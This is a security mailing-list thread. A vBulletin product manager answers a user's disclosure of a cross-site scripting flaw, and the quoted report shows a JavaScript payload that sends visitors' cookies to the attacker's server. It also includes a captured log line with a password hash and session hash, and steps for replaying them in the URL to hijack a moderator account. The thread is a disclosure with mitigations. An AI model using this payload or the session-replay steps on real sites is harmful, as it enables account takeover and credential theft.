Harry et al. Thank you for bringing this to our attention. It is usual to notify the vendor BEFORE going public, but at least you cc'd us. I would like to flesh out a few more of the details here. Harry is fully correct that allowing HTML in forums is a risk, and vBulletin owners are warned about that in the online manual: http://www.vbulletin.com/manual/forums.html#1 (see note on 'allow HTML in this forum') He is also correct that adding the variables to the URL will allow you to log in as the user. A more advanced hacker could also spoof the cookies, so checking the $HTTP_COOKIE_VARS / $_COOKIE array would not be any more effective against a determined attacker. Harry recommends turning off the [img] code also. This is absolutely not necessary as we have very tight checks on what is allowed in the [img] tag, and Javascript cannot be used in there. However, allowing HTML code entered by the user is always going to have to rely on trust. Scripting can be used in almost any element (eg. <script>, <style>, <img>, <body>, <a>), and if you want to read more on this, look at the recent discussions on the webappsec mailing list, also on SecurityFocus.com The bottom line is that if you do not completely and utterly trust the users of the bulletin board, HTML should not ever be allowed. That is why we have that option turned off by default. Just as a quick aside, it is possible to define your own custom 'vB Code' tags, like the [img] tag, which should allow you to do everything that enabling HTML does, and much more. Many thanks for listening, John Percival Product Manager, vBulletin Jelsoft Enterprises Ltd. http://www.vbulletin.com/ mailto:john@vbulletin.com ---------------------------------------------------------------------------- You wrote: This is my first report to bugtraq, I hope this is useful. This has been tested on vBulletin version 2.2.0. The vendor is CC'd on this message. I would imagine this applies to many products, not just the vbulletin, which I would like to say is more secure than most. ------------ The Exploit: ------------ It involves a few different parts, firstly some malicious scripting and then tricking the forum into accepting data from the wrong place. First, I post some malicious html in a reply to a topic that allows HTML: document.write(' src="http://my_ip_address/'+document.cookie+'">'; When someone loads the page, the javascript echoes the contents of their cookies into the image source tag that points to a webserver on my machine, resulting in this kind of line in my access log: GET /bbuserid=86;%20bbpassword=dd6169d68822a116cd97e1fbddf90622;%20sessionhash=a 4719cd620534914930b86839c4bb5f8;%20bbthreadview[5420]=1012444064;%20bblastvi sit=1011983161 At first I thought this was useless since the forum uses a one-way encryption hash to protect the password... however, then it occurred that If I log out and clear my cookies, I can add these variables into the url of any page and the forum will use those variables to log me in transparently, just like it ordinarily does when you leave the forum and come back. So I added the variables to the url and bingo, it logged me in as a moderator of the forum, who was being my guinea pig. From here, I can log onto his profile, change his email address to mine, use the forgotten password utility to have his password emailed to me. Obviously in this user's case this is fairly useless, but if I had caught an administrator's cookie info from the malicious javascript, I could get their password, giving me access to the CP... and that's that. ------------- Workaround: ------------- Disable html, make sure that there is absolutely nowhere on the page where html can be echoed onto a page. Disable the [img] tag for good measure. --------- Solution: --------- Ensure that $bbuserid, $bbpassword, and the rest of the cookied variables are coming from the cookie and not from GET or POST data, by using the $HTTP_COOKIE array. Harry Metcalfe
